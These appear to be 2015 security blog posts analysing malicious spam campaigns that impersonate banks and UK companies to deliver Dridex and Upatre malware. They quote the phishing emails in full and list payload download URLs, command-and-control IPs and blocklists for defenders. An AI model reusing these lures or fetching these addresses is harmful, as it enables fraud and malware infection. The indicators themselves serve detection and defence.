Warning: If you choose to ignore our request, you leave us no choice but to temporary hold on your funds.

Thank you for your patience as we work together to protect your account.

Please update your records on or before 48 hours, a failure to update your records will result in a temporary hold on your funds.

Sincerely,

Barclays Online Bank Customer Service

We apologize for any inconvenience this may have caused.

(c) Copyright 2015 Barclays Bank Plc. All rights reserved.
The link in the email varies, some other examples seen are:
http://nrjchat.org/ONLINE~IMPORTANT-UPDATE/last-update.html
http://utokatalin.ro/ONLINE-BANKING_IMPORTANT/update.html
http://cab.gov.ph/ONLINE-IMPORTANT~UPDATE/last~update.html


Visiting these sites goes through some javascript hoops, and then leads to a ZIP file download which contains a malicious EXE that changes every time it is downloaded. The files are named in the general format update12345.zip and update54321.exe.

The file itself is an Upatre downloader, with poor detection rates [1] [2] [3].

The Malwr report shows traffic to the following URLs:
http://202.153.35.133:33384/2001uk11/HOME/0/51-SP3/0/
http://202.153.35.133:33384/2001uk11/HOME/1/0/0/
http://clicherfort.com/mandoc/eula012.pdf
http://202.153.35.133:33387/2001uk11/HOME/41/7/4/
http://essextwp.org/mandoc/ml1from1.tar

Out of these 202.153.35.133 (Excell Media Pvt Ltd, India) is one you should definitely block. This downloader drops several files including (in this case) %TEMP%\sJFcN24.exe which has a VirusTotal detection rate of just 3/57 and is identified as Dyreza.C by Norman anti-virus.

Malware spam: "Undefined transactions (need assistance)"

This spam comes in a few different variants, however the body text always seems to be the same:

From:    Joyce Mills
Date:    20 January 2015 at 10:30
Subject:    Undefined transactions (need assistance) Ref:1647827ZM

Good morning
I have recently found several payments on statement with the incorrect reference. Amounts appear to be from your company, could you please confirm these payments are yours and were made from your company's bank account. If no then please reply me as soon as possible. Thanks.
P.S. Undefined transactions are included in the attached DOC.

Regards,
Joyce Mills
Senior Accounts Payable
PAYPOINT

The reference number is randomly generated and changes in each case, attached is a malicious Word document also containing the same reference number (e.g. 1647827ZM.doc). Also the name in the "From" field is consistent with the name on the bottom of the email, although this too seems randomly generated. Some examples of names, job titles and companies in use include:
Joyce Mills
Joshua King
Gonzalo Hurley
Dona Bullock
Floyd Mcintyre
Courtney Berg
Latasha Mills

Senior Accounts Payable
Remittance Manager
Accounts Payable
Remittance Manager
Accounting Team
Chef Accountant
Senior Accountant

PAYPOINT
MAJEDIE INVESTMENTS
PETROPAVLOVSK PLC
JARDINE LLOYD THOMPSON GROUP
HENDERSON GLOBAL TRUST PLC
JOHNSON MATTHEY
BLACKROCK SMALLER COMPANIES TST PLC
I have seen two different variants of Word document in circulator, both undetected by AV vendors [1] [2] and each one contains a slightly different malicious macro [1] [2] [pastebin] which attempt to download from the following locations:

http://189.79.63.16:8080/koh/mui.php
http://203.155.18.87:8080/koh/mui.php

This file is downloaded as 20.exe and is then copied to %TEMP%\324234234.exe. It has a VirusTotal detection rate of 2/57. That report indicates that it attempts to phone home to:

194.146.136.1 (PE "Filipets Igor Victorovych", Ukraine)

This IP is commonly used in this type of attack, I would strongly recommend you block it.

The Malwr report shows that this drops a Dridex DLL with a VirusTotal detection rate of 2/57, which is the same DLL as seen earlier today.

Malware spam: "mereway kitchens [sales.north@mereway.co.uk]" / "Delivery Confirmation"

This rather terse spam comes with a malicious attachment. It is NOT from Mereway Kitchens and their systems have not been hacked or compromised in any way.


From:    mereway kitchens [sales.north@mereway.co.uk]
Date:    20 January 2015 at 08:24
Subject:    Delivery Confirmation

Delivery Confirmation
Attached is a file K-DELC-28279.doc which comes in two different versions, both of which are poorly detected by AV vendors [1] [2] and which contain one of two malicious macros [1] [2] [pastebin]. These attempt to download a file from one of the following locations:

http://solutronixfze.com/js/bin.exe
http://ems-medienservice.info/js/bin.exe

This payload is identical to the one found in this spam run which preceded it.

UPDATE 2015-01-23

A second spam run is underway, and although the email and attachment name are the same, the malicious macro itself is rather different. Both Word documents have zero detection rates [1] [2] and contain malicious macros [1] [2] that download another component from:

http://webcredit.be/js/bin.exe
http://www.gmilitaru.home.ro/js/bin.exe

This binary has a VirusTotal detection rate of 3/57. It probably drops the Dridex banking trojan, but analysis is inconclusive.

Malware spam: "Monika [monika.goetz@bigk.co.uk]" / "Proforma Invoice"

This fake invoice leads to malware. It is not being sent by Big K Products UK Ltd, their systems have not been hacked or compromised. Instead, the email is a forgery designed to get you to click the malicious attachment.


From:    Monika [monika.goetz@bigk.co.uk]
Date:    20 January 2015 at 07:18
Subject:    Proforma Invoice

Please find enclosed the proforma invoice for your order. Please let me know when payment has been made, so that the goods can be despatched.

Kind regards,

Monika Goetz
Sales & Marketing Co-ordinator


The document attached is Proforma.doc which is currently undetected by AV vendors. It contains a malicious macro [pastebin] which attempts to download a binary from:

http://solutronixfze.com/js/bin.exe

..which is saved to %TEMP%\324234234.exe. This has a VirusTotal detection rate of 2/56 and the Malwr report shows it attempting to phone home to:

59.148.196.153 (HKBN, Hong Kong)
74.208.11.204 (1&1, US)


These IPs have been used many times in similar recent attacks an I recommend you block them.

It also drops a DLL with a VirusTotal detection rate of 2/57.  The payload appears to be the Dridex banking trojan.

See also this post about a related spam run also in progress this morning.

Monday, 19 January 2015

Malware spam: "NatWest [donotreply@netwest.uk]" / "Important - Please complete attached form"

This spam claiming to be from NatWest bank (or is it nEtwest?) leads to malware.

From:    NatWest [donotreply@netwest.uk]
Date:    19 January 2015 at 14:02
Subject:    Important - Please complete attached form

*********************************************************************
This message has been scanned by the Bankline CSC SSM AV and found to be free of known security risks.
*********************************************************************

Dear Customer

Please find below your Banking Form for Bankline.

http://www.ipawclp.com/NEW-IMPORTANT-NATWEST_FORM/new.bankline_document.html
Please complete Bankline Banking Form :

- Your Customer Id and User Id - which are available from your administrator if you have not already received them

Additionally, if you wish to access Bankline training, simply follow the link  below

www.natwest.com/banklinetraining

If you have any queries or concerns, please telephone your Electronic Banking Help Desk.


National Westminster Bank Plc, Registered in England No. 929027. Registered Office: 135 Bishopsgate, London EC2M 3UR.

Authorised by the Prudential Regulation Authority and regulated by the Financial Conduct Authority and the Prudential Regulation Authority.

This e-mail message is confidential and for use by the addressee only. If the message is received by anyone other than the addressee, please return the message to the sender by replying to it and then delete the message from your computer.

Internet e-mails are not necessarily secure. National Westminster Bank Plc does not accept responsibility for changes made to this message after it was sent. National Westminster Bank Plc may monitor e-mails for business and operational purposes. By replying to this message you give your consent to our monitoring of your email communications with us.

Whilst all reasonable care has been taken to avoid the transmission of viruses, it is the responsibility of the recipient to ensure that the onward transmission, opening or use of this message and any attachments will not adversely affect its systems or data. No responsibility is accepted by National Westminster Bank Plc in this regard and the recipient should carry out such virus and other checks as it considers appropriate

In this case the link in the email goes to www.ipawclp.com/NEW-IMPORTANT-NATWEST_FORM/new.bankline_document.html where it hits a couple of scripts at:

http://restaurantratiobeach.ro/js/jquery-1.39.15.js
http://utokatalin.ro/js/jquery-1.39.15.js

In turn, that leads to a ZIP file download which contains an EXE file which is slightly different each time it downloads, with low detection rates in all cases [1] [2] [3]. The name of the ZIP file and EXE varies, but is in the format doc12345.exe and doc54321.zip. Of note is a sort-of-informational screen on the download page.


Automated analysis is presently inconclusive [1] [2].

UPDATE:
@snxperxero suggests blocking the following sites:
202.153.35.133
loveshopclothing.com
credit490.com



Malware spam: "Traci Wilson" / "t.wilson@daviescranehire.co.uk" / "19TH JANUARY 2015.doc"

This rather terse spam does not actually come from Davies Crane Hire, but it is a forgery with a malicious Word document attached. Davies Crane Hire have not been hacked or compromised, and they are not sending out this spam.

From:    Traci Wilson [t.wilson@daviescranehire.co.uk]
Date:    19 January 2015 at 09:05
Subject:    19TH JANUARY 2015.doc
There is no body text, just an attachment called 19TH JANUARY 2015.doc which contains a malicious macro.

The documents in use and the payload are identical to this spam run that proceeded it. At the moment, everything has a very low detection rate. The payload is the Dridex banking trojan.



Malware spam: "repairermessages@fmg.co.uk" / "Insurance Inspection Arranged AIG02377973" / "FMG Support Group Ltd"

This spam does not come from FMG Support Group Ltd, but instead it is a forgery. FMG are not sending out the spam, nor have their systems been compromised in any way. Instead, this spam has a malicious Word document attached.
From:    repairermessages@fmg.co.uk
Date:    19 January 2015 at 07:24
Subject:    Insurance Inspection Arranged AIG02377973

FMG is committed to reducing its impact on the environment. Please don't print this email unless absolutely necessary.

Have you been impressed by one of our people?
If so, we'd love to hear about it. You can nominate someone for a Spirit award by emailing spirit@fmg.co.uk

FMG Support Group Ltd. Registered in England. No. 06489429.
Registered office: FMG House, St Andrews Road, Huddersfield, HD1 6NA.

Tel: 0844 243 8888
Email: info@fmg.co.uk

This email may contain confidential information and/or copyright material. This email is intended for the use of the addressee only. Any unauthorised use may be unlawful. If you received this email by mistake, please advise the sender by using the reply facility in your email software.

Outbound Message checked by Websense Mail Control.
Attached is a Word document AIG02377973-InsuranceInspectionArranged.doc which comes in at least two different versions, neither of which are detected by AV vendors [1] [2]. These documents contain two slightly different malicious macros [1] [2] which attempt to download a further component from:

http://chilan.ca/js/bin.exe
http://techno-kar.ru/js/bin.exe

This is saved as %TEMP%\324234234.exe which has a VirusTotal detection rate of 2/57. The Malwr report shows it attempting to communicate with the following IPs:

59.148.196.153 (HKBN, Hong Kong)
74.208.11.204 (1&1, US)


These two IP addresses have been used by this malware for a long time, I strongly recommend you block them. Also, a malicious DLL is dropped on the infected system with a detection rate of just 2/53.
 

Thursday, 15 January 2015

Malware Spam: "HEXIS (UK) LIMITED" / "Invoice from Hexis"

This fake invoice has a malicious attachment. It does not comes from Hexis UK Ltd, it is a forgery. Hexis is not sending the spam, nor have their systems been compromised in any way.

From:    Invoice from Hexis [Invoice@hexis.co.uk]
Date:    15 January 2015 at 06:36
Subject:    Invoice

Sent 15 JAN 15 08:30

HEXIS (UK) LIMITED
7 Europa Way
Britannia Park
Lichfield
Staffordshire
WS14 9TZ

Telephone 01543 411221
Fax 01543 411246 
Attached is a malicious Word document S-INV-CREATIFX-465219.doc which actually comes in two different versions (perhaps more) with low detection rates [1] [2] containing two slightly different macros [1] [2] which download a component from one of the following locations:

http://dramakazuki.kesagiri.net/js/bin.exe
http://cassiope.cz/js/bin.exe

This has a VirusTotal detection rate of 3/57. That report shows the malware phoning home to 74.208.11.204:8080 (1&1 Internet, US) which is a familiar C&C server which you should definitely block traffic to. My sources also identify a couple of other IPs, giving a recommended blocklist of:

59.148.196.153
74.208.11.204
81.27.38.97


UPDATE: the Malwr report shows that it drops a DLL with a VirusTotal detection rate of just 1/57.



Malware spam: Payment request of 4176.94 (14 JAN 2015)

This spam comes with a malicious Word document attached:

from:    Alan Case
date:    15 January 2015 at 08:49
subject:    Payment request of 4176.94 (14 JAN 2015)

Dear Sirs,

Sub: Remitance of GBP 4176.94

This is with reference to the above, we request you to kindly remit GBP 4176.94 in favor of our bank account.
For more information on our bank details please refer to the attached document.

Thanking you,
Alan Case Remittance Manager
Other names and job titles seen include:
Alan Case
Melisa Howell
Brooke Barr
Nanette Lloyd
Holly Hartman
Doreen Mclean
Lonnie Boyer
Jessica Richardson
Celeste Singleton
Katie Hahn
Marilyn Barnett
Lois Powell
Donald Yang
Christina Grimes
Keenan Graham
Muriel Prince
Chance Salazar
Francine Nixon

Accounting Team
Senior Accounts
Senior Accounts Payable
Senior Accountant
General Manager
Remittance Manager

The payment amount, name and job title change in each spam, as does the name of the attachment (although this following the format ADV0000XX). There are three malicious Word documents that I have seen, each with a low detection rate at VirusTotal [1] [2] [3] which in turn contain a slightly different macro [1] [2] [3] which attempt to download another component from one of the following locations:

http://95.163.121.71:8080/mopsi/popsi.php
http://95.163.121.72:8080/mopsi/popsi.php

http://136.243.237.204:8080/mopsi/popsi.php

Note the two adjacent IPs of 95.163.121.71 and 95.163.121.72 which belong to Digital Networks CJSC in Russia (aka DINETHOSTING), an IP range of 95.163.64.0/18 that I would recommend you consider blocking.  136.243.237.204 is a Hetzner IP.

The macro downloads a file g08.exe from these locations which is then saved as %TEMP%\UGvdfg.exe. This has a VirusTotal detection rate of 4/57. That VT report also shows the malware attempting to POST to 194.146.136.1:8080 (PE "Filipets Igor Victorovych", Ukraine) which is a well-known bad IP.

The Malwr report is inconclusive, but this exectuable probably drops a Dridex DLL.

Recommended blocklist:
194.146.136.1
95.163.121.71
95.163.121.72
136.243.237.204

UPDATE: the following are Dridex C&C servers which you should also block:
80.237.255.196
85.25.20.107